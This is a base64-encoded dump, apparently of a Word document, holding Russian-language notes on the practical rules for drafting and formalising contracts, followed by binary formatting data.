BDAETwQgAD8EPgQ0BEAEPgQxBD0EMARPBCAAOAQ9BEQEPgRABDwEMARGBDgETwQgAD8EPgQgAEIE NQQ7BDUERAQ+BD0EQwQgAD4EQAQzBDoEPgQ8BDgEQgQ1BEIEMAQhACAAKABBBDwELgAgADIEPQQ4 BDcEQwQpAA0AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8A XwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBfAF8AXwBf AF8AXwBfAF8AXwBfAF8AXwBfAA0AHgQxBDcEPgRABCAAQAQwBEEEQQQ8BDAEQgRABDgEMgQwBDUE PARLBEUEIAAyBD4EPwRABD4EQQQ+BDIEOgANADEALgAeBEEEPQQ+BDIEPQRLBDUEIAA/BEAEMAQy BDgEOwQwBCAAPgREBD4EQAQ8BDsENQQ9BDgETwQgADQEPgQzBD4EMgQ+BEAEPgQyBC4AIAAQBD0E MAQ7BDgENwQgAEIEOAQ/BDgERwQ9BEsERQQgAD4ESAQ4BDEEPgQ6BCwAIAA0BD4EPwRDBEEEOgQw BDUEPARLBEUEIAA/BEAEOAQgAD4ERAQ+BEAEPAQ7BDUEPQQ4BDgEIAA0BD4EMwQ+BDIEPgRABD4E MgQuACAAHwRABD4EMQQ7BDUEPARLBCAAPgRABDMEMAQ9BDgENwQwBEYEOAQ4BCAANAQ+BDMEPgQy BD4EQAQ9BD4EOQQgAEAEMAQxBD4EQgRLBDoADQAJAC0AHwRABDAEOgRCBDgERwQ1BEEEOgQ4BDUE IABABDUEOgQ+BDwENQQ9BDQEMARGBDgEOAQgAD8EPgQgAD4ERAQ+BEAEPAQ7BDUEPQQ4BE4EIAA0 BD4EMwQ+BDIEPgRABD4EMgQuACAAHwRABD4EMQQ7BDUEPARLBCAANAQwBEIEOARABD4EMgQ6BDgE IAA6BD4EPQRCBEAEMAQ6BEIEMAQuACAAIAQ1BDoEPgQ8BDUEPQQ0BDAERgQ4BDgEIAA/BD4EIAA+ BEQEPgRABDwEOwQ1BD0EOAROBCAAOgQ7BE4ERwQ1BDIESwRFBCAAQAQ1BDoEMgQ4BDcEOARCBD4E MgQgADQEPgQzBD4EMgQ+BEAEMAQgACgAPwRABDUEMAQ8BDEEQwQ7BDAELAAgAD8EPgQ0BD8EOARB BEwELAAgAD8ENQRHBDAEQgRMBCAAOAQgADQELgApAC4ADQAJAC0AHwRABDAEOgRCBDgERwQ1BEEE OgQ4BDUEIAAyBD4EPwRABD4EQQRLBCAAPwQ+BDQEPwQ4BEEEMAQ9BDgETwQgADQEPgQzBD4EMgQ+ BEAEMAQuACAAGARBBD8EPgQ7BEwENwQ+BDIEMAQ9BDgENQQgAEQEMAQ6BEEEOAQ8BDgEOwQ1BC4A IAAcBDUERQQwBD0EOAQ3BDwESwQgAD8ENQRABDIEOARHBD0EPgQ5BCAAPwRABD4EMgQ1BEAEOgQ4 BCAAPwQ+BDQEOwQ4BD0EPQQ+BEEEQgQ4BCAAPwQ+BDQEPwQ4BEEEOAQuACAAEAQ9BDAEOwQ4BDcE IABBBDsEQwRHBDAENQQyBCAAPwQ+BDQENAQ1BDsEOgQ4BCAAOAQgADIEPgQ3BDwEPgQ2BD0ESwRF BCAANwQ7BD4EQwQ/BD4EQgRABDUEMQQ7BDUEPQQ4BDkELgAgAB8EPgQ0BD8EOARBBEwEIAAzBDsE MAQyBD0EPgQzBD4EIAAxBEMERQQzBDAEOwRCBDUEQAQwBCAAPQQwBCAANAQ+BDMEPgQyBD4EQAQw BEUELgANAAkALQAhBEMESQQ1BEEEQgQyBDUEPQQ9BEsENQQgAEMEQQQ7BD4EMgQ4BE8EIAA0BD4E MwQ+BDIEPgRABDAELgAgABwENQRCBD4ENAQ4BDoEMAQgAD4EPwRABDUENAQ1BDsENQQ9BDgETwQg AEEEQwRJBDUEQQRCBDIENQQ9BD0ESwRFBCAAQwRBBDsEPgQyBDgEOQQ6ACAAMAQ9BDAEOwQ4BDcE IAA/BD4EQQQ7BDUENAQ9BDUEOQQgAEEEQwQ0BDUEMQQ9BD4EOQQgAD8EQAQwBDoEQgQ4BDoEOAQu ACAAHwQ+BEEEOwQ1BDQEQQRCBDIEOARPBCAAPQQ1BEEEPgQzBDsEMARBBD4EMgQwBD0EOARPBCAA QQRCBD4EQAQ+BD0EMAQ8BDgEIABBBEMESQQ1BEEEQgQyBDUEPQQ9BEsERQQgAEMEQQQ7BD4EMgQ4 BDkELgANAAkALQAfBEAEPgQyBDUEQAQ6BDAEIAA/BD4EOwQ9BD4EPAQ+BEcEOAQ5BCAAPwRABDUE NARBBEIEMAQyBDgEQgQ1BDsETwQgAD8EQAQ4BCAANwQwBDoEOwROBEcENQQ9BDgEOAQgADQEPgQz BD4EMgQ+BEAEMAQgACgAPwRABDAEOgRCBDgERwQ1BEEEOgQ4BDUEIAA/BEAEPgQxBDsENQQ8BEsE IAA+BEQEPgRABDwEOwQ1BD0EOARPBCAANAQ+BDIENQRABDUEPQQ9BD4EQQRCBDUEOQQsACAAMgQ+ BDcEPAQ+BDYEPQQ+BEEEQgRMBCAAPwQ1BEAENQQ0BDAERwQ4BCAAPwRABDAEMgQwBCAAPwQ+BDQE PwQ4BEEEOAQgAD0EMAQgADQEPgQyBDUEQAQ1BD0EPQQ+BEEEQgQ4BCwAIAA+BEYENQQ9BDoEMAQg AEAEOARBBDoEMAQgAD4EQgQ3BEsEMgRLBCAANAQ+BDIENQRABDUEPQQ9BD4EQQRCBDgELAAgADwE NQRCBD4ENARLBCAAPwRABDUENAQ+BEIEMgRABDAESQQ1BD0EOARPBCAAQAQ4BEEEOgQwBCAAPgRC BDcESwQyBDAEIAA0BD4EMgQ1BEAENQQ9BD0EPgRBBEIEOAQsACAAPQQ1BEIEOAQ/BDgERwQ9BEsE NQQgADQEPgQyBDUEQAQ1BD0EPQQ+BEEEQgQ4BCwAIAA6BDIEMAQ7BDgERAQ4BDoEMARGBDgETwQg AD8EQAQ4BDoEMAQ3BDAEIAA6BDAEOgQgADQEPgQyBDUEQAQ1BD0EPQQ+BEEEQgQ4BCAAOAQgADQE QAQuACkALgANAAkALQAdBDUENAQ+BDEEQAQ+BEEEPgQyBDUEQQRCBD0EPgQ1BCAAPgRBBD8EMARA BDgEMgQwBD0EOAQ1BCAARAQwBDoEQgQwBCAANwQwBDoEOwROBEcENQQ9BD0EPgRBBEIEOAQgADQE PgQzBD4EMgQ+BEAEMAQgADQEPgQ7BDYEPQQ4BDoEPgQ8BCAAPwRABDgEIAA9BDUENgQ1BDsEMAQ9 BDgEOAQgAD0ENQRBBEIEOAQgAD4EQgQyBDUEQgRBBEIEMgQ1BD0EPQQ+BEEEQgRMBCAAPwQ+BCAA NAQ+BDMEPgQyBD4EQARDBCAAOAQ7BDgEIAA/BEAEOAQgAD8EPgRCBDUEQAQ1BCAAOAQ9BEIENQRA BDUEQQQwBCAAOgQgAEEENAQ1BDsEOgQ1BCAAMgQgAEEEOAQ7BEMEIAA4BDcEPAQ1BD0ENQQ9BDgE TwQgAE0EOgQ+BD0EPgQ8BDgERwQ1BEEEOgQ+BDkEIAA6BD4EPQRKBE4EPQQ6BEIEQwRABEsELgAg ABwENQRCBD4ENARLBCAATQREBEQENQQ6BEIEOAQyBD0EPgQzBD4EIAA/BEAEPgRCBDgEMgQ+BDQE NQQ5BEEEQgQyBDgETwQgADIEPgQ3BDwEPgQ2BD0EPgQ8BEMEIAA+BEIEOgQwBDcEQwQgADQEPgQ7 BDYEPQQ4BDoEMAQgAD4EQgQgAD8EQAQ4BDcEPQQwBD0EOARPBCAARAQwBDoEQgQwBCAANwQwBDoE OwROBEcENQQ9BDgETwQgADQEPgQzBD4EMgQ+BEAEMAQgAD8EPgQgAEAEMAQ3BDsEOARHBD0ESwQ8 BCAAPgRBBD0EPgQyBDAEPQQ4BE8EPAQuAA0ACQAtAB4EQQQ+BDEENQQ9BD0EPgRBBEIEOAQgADgE IAAyBDAEQAQ4BDAEPQRCBEsEIAA+BEQEPgRABDwEOwQ1BD0EOARPBCAANAQ+BDsEMwQ+BEEEQAQ+ BEcEPQRLBEUEIAA0BD4EMwQ+BDIEPgRABD0ESwRFBCAAPgRCBD0EPgRIBDUEPQQ4BDkELgAgAB8E QAQwBDIEPgQyBD4EOQQgAEEEQgQwBEIEQwRBBCAAQAQwBDwEPgRHBD0EPgQzBD4EIAA0BD4EMwQ+ BDIEPgRABDAELgAgABIEPgQ3BDwEPgQ2BD0EPgRBBEIETAQgADIEPgQ3BD0EOAQ6BD0EPgQyBDUE PQQ4BE8EIAA/BEAEMAQyBD4EMgRLBEUEIAA/BD4EQQQ7BDUENARBBEIEMgQ4BDkEIAA9BDUEPwQ+ BEEEQAQ1BDQEQQRCBDIENQQ9BD0EPgQgAD0EMAQgAD4EQQQ9BD4EMgQ1BCAAQAQwBDwEPgRHBD0E PgQzBD4EIAA0BD4EMwQ+BDIEPgRABDAELgANAAkALQAjBEEEOwQ+BDIEPQRLBDUEIABBBDQENQQ7 BDoEOAQgADoEMAQ6BCAATQREBEQENQQ6BEIEOAQyBD0ESwQ5BCAAPAQ1BEUEMAQ9BDgENwQ8BCAA PgREBD4EQAQ8BDsENQQ9BDgETwQgADQEPgQzBD4EMgQ+BEAEPQRLBEUEIAA+BEIEPQQ+BEgENQQ9 BDgEOQQgACgAPwQ+BEAETwQ0BD4EOgQgAEQEOAQ6BEEEMARGBDgEOAQgAD4EQgQ7BDAEMwQwBEIE NQQ7BEwEPQQ+BDMEPgQgADgEOwQ4BCAAPgRCBDwENQQ9BDgEQgQ1BDsETAQ9BD4EMwQ+BCAAQwRB BDsEPgQyBDgETwQsACAAMgQ+BDcEPAQ+BDYEPQQ+BEEEQgRMBCAARAQ4BDoEQQQwBEYEOAQ4BCAA MgQgADQEPgQzBD4EMgQ+BEAENQQgAEMEQQQ7BD4EMgQ4BDkELAAgADcEMAQyBDgEQQRPBEkEOARF BCAAOARBBDoEOwROBEcEOARCBDUEOwRMBD0EPgQgADgEOwQ4BCAARwQwBEEEQgQ4BEcEPQQ+BCAA PgRCBCAAMgQ+BDsEOAQgAD4ENAQ9BD4EOQQgADgENwQgAEEEQgQ+BEAEPgQ9BCAANAQ+BDMEPgQy BD4EQAQwBCwAIAAyBD4ENwQ8BD4ENgQ9BD4EQQRCBEwEIAA3BDAEOgQ7BE4ERwQ1BD0EOARPBCAA RwQwBEEEQgQ4BEcEPQQ+BCAAQwRBBDsEPgQyBD0ESwRFBCAAQQQ0BDUEOwQ+BDoELAAgADQEPgQ/ BEMEQQRCBDgEPAQ+BEEEQgRMBCAAPgQ0BD0EPgRBBEIEPgRABD4EPQQ9BDgERQQgAEMEQQQ7BD4E MgQ9BEsERQQgAEEENAQ1BDsEPgQ6BCwAIAA0BD4EPwRDBEEEQgQ4BDwEPgRBBEIETAQgAD4ERAQ1 BEAEQgRLBCAAOAQ7BDgEIAAwBDoERgQ1BD8EQgQwBCAAPwQ+BDQEIABDBEEEOwQ+BDIEOAQ1BDwE IAA4BCAANARABC4AKQAuAA0AMgAuACIENQRFBD0EPgQ7BD4EMwQ4BEcENQRBBDoEOAQ1BCAAMARB BD8ENQQ6BEIESwQgAD8EQAQ+BEIEOAQyBD4ENAQ1BDkEQQRCBDIEOARPBCAAPAQ+BEgENQQ9BD0E OARHBDUEQQQ6BDgEPAQgADQENQQ5BEEEQgQyBDgETwQ8BCAAPQQ1BDQEPgQxBEAEPgRBBD4EMgQ1 BEEEQgQ9BEsERQQgADoEPgQ9BEIEQAQwBDMENQQ9BEIEPgQyBCAAKAA9BDUEPgQxBEUEPgQ0BDgE PARLBDUEIAA+BDMEPgQyBD4EQAQ6BDgELAAgAD4EQQQ+BDEENQQ9BD0EPgRBBEIEOAQgAEAEMAQ3 BDwENQRJBDUEPQQ4BE8EIABCBDUEOgRBBEIEMAQgADQEPgQzBD4EMgQ+BEAEMAQsACAAPwQwBEAE MAREBDgEQAQ+BDIEMAQ9BDgENQQsACAAQQRIBDgEMgQwBD0EOAQ1BCAAOAQgADQEQAQuACkALgAN ADMALgAgAB8EQAQwBDoEQgQ4BEcENQRBBDoEOAQ1BCAAMgQ+BD8EQAQ+BEEESwQgAD8EQAQ4BDwE NQQ9BDUEPQQ4BE8EIAA/BEAEPgRCBD4EOgQ+BDsEPgQyBCAAQAQwBDcEPQQ+BDMEOwQwBEEEOARP BCAAKAA+BD8EQAQ1BDQENQQ7BDUEPQQ4BDUEIAA8BD4EPAQ1BD0EQgQwBCAANwQwBDoEOwROBEcE NQQ9BDgETwQgADQEPgQzBD4EMgQ+BEAEMAQsACAAQQQ7BEMERwQwBDgEIAA4BEEEPwQ+BDsEPQQ1 BD0EOARPBCAAPgQxBE8ENwQwBEIENQQ7BEwEQQRCBDIEIAA0BD4EIAA8BD4EPAQ1BD0EQgQwBCAA PgQ6BD4EPQRHBDAEQgQ1BDsETAQ9BD4EMwQ+BCAAQQQ+BDMEOwQwBEEEPgQyBDAEPQQ4BE8EIABD BEEEOwQ+BDIEOAQ5BCAANAQ+BDMEPgQyBD4EQAQwBCAAOAQgADQEQAQuACkALgANADQALgAgABAE OgRCBEMEMAQ7BEwEPQRLBDUEIAA/BEAEMAQyBD4EMgRLBDUEIAAyBD4EPwRABD4EQQRLBCAAOARB BD8EPgQ7BD0ENQQ9BDgETwQgAD4EMQRPBDcEMARCBDUEOwRMBEEEQgQyBC4AIAASBD4ENwQ7BD4E NgQ1BD0EOAQ1BCAAOARBBD8EPgQ7BD0ENQQ9BDgETwQgAD4EMQRPBDcEMARCBDUEOwRMBEEEQgQy BDAEIAA9BDAEIABCBEAENQRCBEwENQQgADsEOARGBC4AIAAhBEAEPgQ6BCAAOAQgADwENQRBBEIE PgQgADgEQQQ/BD4EOwQ9BDUEPQQ4BE8ELgAgABIEMAQ7BE4EQgQ9BEsENQQgAD4EMwQ+BDIEPgRA BDoEOAQuACAAHgREBD4EQAQ8BDsENQQ9BDgENQQgAD8ENQRABDUENAQwBEcEOAQgADgEQQQ/BD4E OwQ9BDUEPQQ4BE8EIAAoAD0EMAQ6BDsEMAQ0BD0ESwQ1BCwAIAAwBDoEQgRLBCAAPwRABDgENQQ8 BDoEOAQgADgEIAA0BEAELgApAC4AIAAfBD4EQQQ7BDUENARBBEIEMgQ4BE8EIAA4BEEEPwQ+BDsE PQQ1BD0EOARPBCAAPgQxBE8ENwQwBEIENQQ7BEwEQQRCBDIEMAQgADIEIAAwBDQEQAQ1BEEEIAA9 BDUEQwQ/BD4EOwQ9BD4EPAQ+BEcENQQ9BD0EPgQzBD4EIAA7BDgERgQwBC4ADQA1AC4AIAAQBDoE QgRDBDAEOwRMBD0ESwQ1BCAATgRABDgENAQ4BEcENQRBBDoEOAQ1BCAAMgQ+BD8EQAQ+BEEESwQg AD8EQAQ1BDoEQAQwBEkENQQ9BDgETwQgADQEPgQzBD4EMgQ+BEAEPQRLBEUEIAA+BDEETwQ3BDAE QgQ1BDsETARBBEIEMgQuACAAEAQ9BDAEOwQ4BDcEIAA/BD4EQQQ7BDUENAQ9BDUEOQQgAEEEQwQ0 BDUEMQQ9BD4EOQQgAD8EQAQwBDoEQgQ4BDoEOAQgAD8EPgQgADIEPgQ/BEAEPgRBBDAEPAQgAD8E QAQ+BEkENQQ9BDgETwQgADQEPgQ7BDMEMAQsACAAPwRABDUENAQ+BEEEQgQwBDIEOwQ1BD0EOARP BCAAPgRCBEEEQgRDBD8EPQQ+BDMEPgQsACAAPQQ+BDIEMARGBDgEOAQgADgEIAA3BDAERwQ1BEIE MAQgADIEQQRCBEAENQRHBD0ESwRFBCAAQgRABDUEMQQ+BDIEMAQ9BDgEOQQuACAAHwRABD4EMQQ7 BDUEPARLBCAAPwRABDUEOgRABDAESQQ1BD0EOARPBCAANAQ+BDMEPgQyBD4EQAQ9BEsERQQgAD4E MQRPBDcEMARCBDUEOwRMBEEEQgQyBC4AIAAfBEAENQQ6BEAEMARJBDUEPQQ4BDUEIAA+BDEETwQ3 BDAEQgQ1BDsETARBBEIEMgQgAD0ENQQyBD4ENwQ8BD4ENgQ9BD4EQQRCBEwETgQgADgEQQQ/BD4E OwQ9BDUEPQQ4BE8ELgAgAB4EQgQ7BDgERwQ4BDUEIABEBD4EQARBBC0APAQwBDYEPgRABDAEIAA4 BCAAMgRABDUEPAQ1BD0EPQQ+BDkEIAA9BDUEMgQ+BDcEPAQ+BDYEPQQ+BEEEQgQ4BCAAOARBBD8E PgQ7BD0ENQQ9BDgETwQuACAAEgQ6BDsETgRHBDUEPQQ4BDUEIAAyBCAANAQ+BDMEPgQyBD4EQAQg AEMEQQQ7BD4EMgQ4BE8EIAA+BCAAqwA/BDUEQAQ4BD4ENAQ1BCAAPgQ2BDgENAQwBD0EOARPBLsA IAAyBCAAQQQ7BEMERwQwBDUEIAAyBEAENQQ8BDUEPQQ9BD4EOQQgAD0ENQQyBD4ENwQ8BD4ENgQ9 BD4EQQRCBDgELgAgABIEPgQ3BDwEPgQ2BD0EPgRBBEIETAQgAD8EQAQ1BDoEQAQwBEkENQQ9BDgE TwQgAD4EMQRPBDcEMARCBDUEOwRMBEEEQgQyBCAAPwRABDgEIAA9BDUEPQQwBDQEOwQ1BDYEMARJ BDUEPAQgADgEQQQ/BD4EOwQ9BDUEPQQ4BDgELgAgACAEMARBBEIEPgRABDYENQQ9BDgENQQgADQE PgQzBD4EMgQ+BEAEMAQgAD8EQAQ4BCAAQQRDBEkENQRBBEIEMgQ1BD0EPQQ+BDwEIAA4BDcEPAQ1 BD0ENQQ9BDgEOAQgAD4EMQRBBEIEPgRPBEIENQQ7BEwEQQRCBDIEIAAoADIEPgQ3BDwEPgQ2BD0E PgRBBEIETAQgADoEMgQwBDsEOAREBDgEOgQwBEYEOAQ4BCAARAQ4BD0EMAQ9BEEEPgQyBD4EMwQ+ BCAAOgRABDgENwQ4BEEEMAQgADgEOwQ4BCAAOAQ9BEsERQQgAEAENQQ3BDoEOARFBCAAOAQ3BDwE NQQ9BDUEPQQ4BDkEIAA8BDAEOgRABD4ETQQ6BD4EPQQ+BDwEOARHBDUEQQQ6BD4EOQQgADgEIAA6 BEMEQARBBD4EMgQ+BDkEIAA6BD4EPQRKBE4EPQQ6BEIEQwRABEsEIAA6BDAEOgQgAD4EQQQ9BD4E MgQwBD0EOARPBCAANAQ7BE8EIAA/BEAEOAQ8BDUEPQQ1BD0EOARPBCAAQQRCBC4ANAA1ADEAIAAT BBoELAAgAD8EQAQ+BEYENQQ0BEMEQAQwBCAAQAQwBEEEQgQ+BEAENgQ1BD0EOARPBCwAIAAwBD0E MAQ7BDgENwQgAEEEQwQ0BDUEMQQ9BD4EOQQgAD8EQAQwBDoEQgQ4BDoEOAQgADgEIAA0BEAELgAp AC4ADQA2AC4AIAAQBDoEQgRDBDAEOwRMBD0ESwQ1BCAAPwRABDAEOgRCBDgERwQ1BEEEOgQ4BDUE IAAyBD4EPwRABD4EQQRLBCAAQAQwBDEEPgRCBEsEIABBBCAANAQ1BDEEOARCBD4EQAQwBDwEOAQg AD0EMAQgADQEPgRBBEMENAQ1BDEEPQQ+BDkEIABBBEIEMAQ0BDgEOAQgADgEIAA+BEAEMwQwBD0E OAQ3BDAERgQ4BDgEIABNBEQERAQ1BDoEQgQ4BDIEPQQ+BDkEIAA/BEAENQRCBDUEPQQ3BDgEPgQ9 BD0EPgQ5BCAAQAQwBDEEPgRCBEsELgAgABAEPQQwBDsEOAQ3BCAAPgRBBD0EPgQyBD0ESwRFBCAA RgQ1BDsENQQ5BCAAOAQgAEAEMAQ3BDsEOARHBD0ESwRFBCAAPAQ+BDQENQQ7BDUEOQQgAD8EQAQ1 BEIENQQ9BDcEOAQ+BD0EPQQ+BDkEIABABDAEMQQ+BEIESwQuACAAHwRABDAEOgRCBDgEOgQwBCAA PwRABDgEPAQ1BD0ENQQ9BDgETwQgAEEEQAQ1BDQEQQRCBDIEIAA3BDAESQQ4BEIESwQgAD8EQAQw BDIEIAA6BEAENQQ0BDgEQgQ+BEAEMAQuAA0ANwAuACAAIAQwBDEEPgRCBDAEIAA/BD4EIAAyBEsE TwQyBDsENQQ9BDgETgQgAD0EMARABEMESAQ1BD0EOAQ5BCAANAQ+BDMEPgQyBD4EQAQ9BEsERQQg AEMEQQQ7BD4EMgQ4BDkELgAgACIENQRFBD0EAAAAAAAAAAAAAAAIAABmCAAAgAgAAIwIAADqCAAA /AgAAP4IAAA6CQAAPAkAAD4JAACmIwAA9iUAAAAqAAAGNwAA5kMAAOhDAADsQwAA7kMAAPJDAAD0 QwAA+EMAAPpDAAD+QwAADEQAACREAAAwRAAANkQAAPHj1sm8yaycjMl/fX/JdXF1cXVxdXFiVmJH AAAAAAAAAAAdFWgScwUAFmgScwUANQiBNgiBPioBQ0ogAGFKIAAXFmg5PAIANQiBNgiBPioBQ0og AGFKIAAdFWhAcjMAFmiuGRQANQiBNgiBPioBQ0ogAGFKIAAGFmiINiMAAA8DagAAAAAWaIg2IwBV CAEDVQgBGBVoOTwCABZoOTwCAE9KAwBQSgMAUUoDAAAeFWg5PAIAFmiuGRQANQiBPioBT0oDAFBK AwBRSgMAAB4VaDk8AgAWaEByMwA1CIE+KgFPSgMAUEoDAFFKAwAAHhVoOTwCABZoOTwCADUIgT4q AU9KAwBQSgMAUUoDAAAYFWg5PAIAFmiXKxwAT0oDAFBKAwBRSgMAABgVaDk8AgAWaK4ZFABPSgMA UEoDAFFKAwAAGBVoOTwCABZoQHIzAE9KAwBQSgMAUUoDAAAbFWg5PAIAFmhAcjMANgiBT0oDAFBK AwBRSgMAGxVoOTwCABZoOTwCADYIgU9KAwBQSgMAUUoDAAAaAAgAAIAIAAD+CAAAPgkAAFwKAAC4 CwAAZA0AALoOAAAwEQAAtBMAAEQVAABYGAAA1hkAAFwbAACUHQAApiMAAIQlAAB8LAAAsi4AABIx AADcMwAA9DQAAAY3AADOOAAAsDsAAKo+AAB4QgAA+gAAAAAAAAAAAAAAAPUAAAAAAAAAAAAAAAD1 AAAAAAAAAAAAAAAA9QAAAAAAAAAAAAAAAPUAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA9QAAAAAA AAAAAAAAAPUAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA9QAAAAAAAAAAAAAAAPUAAAAAAAAAAAAA AAD1AAAAAAAAAAAAAAAA9QAAAAAAAAAAAAAAAPUAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA8AAA AAAAAAAAAAAAAPAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAPAAAAAAAAAA AAAAAADwAAAAAAAAAAAAAAAA9QAAAAAAAAAAAAAAAPUAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA 9QAAAAAAAAAAAAAAAPUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAQAAGdkOTwCAAAEAABnZK4ZFAAABAAAZ2RAcjMAABo+BDsEPgQzBDgEOAQgAEAEMARBBEEE OwQ1BDQEPgQyBDAEPQQ4BE8EIAA4BCAAQAQwBEEEQQQ8BD4EQgRABDUEPQQ4BE8EIAA6BD4EPAQ8 BDUEQARHBDUEQQQ6BDgERQQgADAEOgRCBD4EMgQsACAAPwRABDUEQgQ1BD0ENwQ4BDkEIAA4BCAA NARABEMEMwQ+BDkEIAA0BD4EOgRDBDwENQQ9BEIEMARGBDgEOAQuACAAEAQ9BDAEOwQ4BDcEIAAw BDoEQgQ+BDIELAAgADcEMAQ6BDsETgRHBDUEPQQ4BDkEIABNBDoEQQQ/BDUEQARCBDgENwRLBCAA OAQgADQEQARDBDMEOARFBCAANAQ+BDoEQwQ8BDUEPQRCBD4EMgQsACAAQwRBBEIEMAQ9BDAEMgQ7 BDgEMgQwBE4ESQQ4BEUEIABEBDAEOgRCBEsEIABFBDgESQQ1BD0EOARPBCwAIABDBEIEQAQwBEIE SwQsACAAPQQ1BDQEPgRBBEIEMARHBDgELAAgAD0ENQQyBEsEPwQ+BDsEPQQ1BD0EOAQ1BCAAPgQx BE8ENwQwBEIENQQ7BEwEQQRCBDIELgAgAB4EPwRABDUENAQ1BDsENQQ9BDgENQQgADgEPARDBEkE NQRBBEIEMgQ1BD0EPQQ+BDMEPgQgADIEQAQ1BDQEMAQuACAAEAQ6BEIEQwQwBDsETAQ9BEsENQQg ADIEPgQ/BEAEPgRBBEsEIAA/BEAEMAQ6BEIEOARHBDUEQQQ6BD4EOQQgAEAEMAQxBD4EQgRLBCAA PQQwBCAANAQ+BEEEQwQ0BDUEMQQ9BD4EOQQgAEEEQgQwBDQEOAQ4BC4ADQA4AC4AIAAfBEAEMAQ6 BEIEOARHBDUEQQQ6BDgENQQgAD8EQAQ+BDEEOwQ1BDwESwQgAD4EQgQ/BEAEMAQyBDsENQQ9BDgE TwQgADgEIAA0BD4EQQRCBDAEMgQ6BDgEIAA/BEAENQRCBDUEPQQ3BDgEOQQuACAAHwQ+BDQEQgQy BDUEQAQ2BDQENQQ9BDgENQQgAEEEPgQ0BDUEQAQ2BDAEPQQ4BE8EIAA+BEIEPwRABDAEMgQ7BDUE PQQ4BE8EIAA4BCAAPwQ+BDsEQwRHBDUEPQQ4BE8EIAA/BEAENQRCBDUEPQQ3BDgEOAQgADQEPgQ7 BDYEPQQ4BDoEPgQ8BC4AIAAQBD0EMAQ7BDgENwQgAE4EQAQ4BDQEOARHBDUEQQQ6BDgERQQgAD8E PgRBBDsENQQ0BEEEQgQyBDgEOQQgAEEEMQQ+BDUEMgQgAD8EQAQ4BCAAPwQ+BEcEQgQ+BDIEPgQ5 BCAAPwQ1BEAENQRBBEsEOwQ6BDUEIAA0BD4EOgRDBDwENQQ9BEIEPgQyBCAAKABDBEIENQRABDgE IAA+BEIEPwRABDAEMgQ7BDUEPQQ4BE8ELAAgADIEQARDBEcENQQ9BDgETwQgAD0ENQRDBD8EPgQ7 BD0EPgQ8BD4ERwQ1BD0EPQQ+BDwEQwQgADsEOARGBEMELAAgAD0ENQQ+BDEEPQQwBEAEQwQ2BDUE PQQ4BE8EIAAwBDQEQAQ1BEEEMARCBDAEIAA4BCAANARABC4AKQANADkALgAgAB4EPwRABDUENAQ1 BDsENQQ9BDgENQQgAEEEPgQ0BDUEQAQ2BDAEPQQ4BE8EIAA/BEAENQRCBDUEPQQ3BDgEOQQuACAA EAQ6BEIESwQgAEEEMgQ1BEAEOgQ4BDoAIABCBEAENQQxBD4EMgQwBD0EOARPBCAAQQRDBDQENQQx BD0EPgQ5BCAAPwRABDAEOgRCBDgEOgQ4BCAAOgQgAEEEPgQ0BDUEQAQ2BDAEPQQ4BE4EIAAwBDoE QgQ+BDIEIABBBDIENQRABDoEOAQsACAAMgQ+BD8EQAQ+BEEESwQgAD4ERAQ+BEAEPAQ7BDUEPQQ4 BE8EIAA4BCAANAQwBEIEOARABD4EMgQ6BDgELAAgAD8EPgQ7BD0EPgQ8BD4ERwQ4BE8EIAA/BD4E IAA/BD4ENAQ/BDgEQQQwBD0EOAROBCwAIAA/BEAEMAQyBD4EMgQ+BDUEIAA3BD0EMARHBDUEPQQ4 BDUEIAA4BCAATQREBEQENQQ6BEIEOAQyBD0EPgQ1BCAAOARBBD8EPgQ7BEwENwQ+BDIEMAQ9BDgE NQQuACAAHAQ1BEIEPgQ0BEsEIAA/BD4EMgRLBEgENQQ9BDgETwQgADIENQRABD4ETwRCBD0EPgRB BEIEOAQgAD8EPgQ0BD8EOARBBDAEPQQ4BE8EIAA0BD4EOwQ2BD0EOAQ6BD4EPAQgADAEOgRCBDAE IABBBDIENQRABDoEOAQuACAAGAQ9BEsENQQgAEEEPwQ+BEEEPgQxBEsEIAA/BEAEOAQ3BD0EMAQ9 BDgETwQgADQEPgQ7BDMEMAQuAA0AMQAwAC4AIAAfBEAEOAQ+BEEEQgQwBD0EPgQyBDsENQQ9BDgE NQQgADIEQQRCBEAENQRHBD0EPgQzBD4EIAA4BEEEPwQ+BDsEPQQ1BD0EOARPBCAAKAA6BEAEOARC BDUEQAQ4BDgEIAA+BD8EQAQ1BDQENQQ7BDUEPQQ4BE8EIAAyBEEEQgRABDUERwQ9BD4EQQRCBDgE IAA4BEEEPwQ+BDsEPQQ1BD0EOAQ5BCwAIAA8BDUERQQwBD0EOAQ3BDwEIABABDUEMAQ7BDgENwQw BEYEOAQ4BCwAIAA9BDUEPgQxBEUEPgQ0BDgEPAQ+BEEEQgRMBCAAQwQyBDUENAQ+BDwEOwQ1BD0E OARPBCwAIABBBEMESQQ1BEEEQgQyBDUEPQQ9BD4EQQRCBEwEIAA9BDAEQARDBEgENQQ9BDgETwQs ACAAPwRABDgEPgRBBEIEMAQ9BD4EMgQ7BDUEPQQ4BDUEIAA4BEEEPwQ+BDsEPQQ1BD0EOARPBCAA PwRABDgEIAA/BEAENQQ0BDIEOAQ0BDgEPAQ+BDwEIAA9BDAEQARDBEgENQQ9BDgEOAQsACAAMgQ+ BDcEPAQ+BDYEPQQ+BEEEQgRMBCAAPwRABDgEPgRBBEIEMAQ9BD4EMgQ6BDgEIAA+BEIEMwRABEME NwQ6BDgEIAA/BEAEOAQgAD0ENQQ+BD8EOwQwBEIENQQgAD8EQAQ1BDQESwQ0BEMESQQ4BEUEIAA/ BDAEQARCBDgEOQQsACAAMgQ+BDcEPAQ+BDYEPQQ+BEEEQgRMBCAAPwRABDgEPgRBBEIEMAQ9BD4E MgQ6BDgEIAA/BD4ENAQwBEcEOAQgAE0EPQQ1BEAEMwQ4BDgEIAA/BEAEOAQgAD0ENQQ+BD8EOwQw 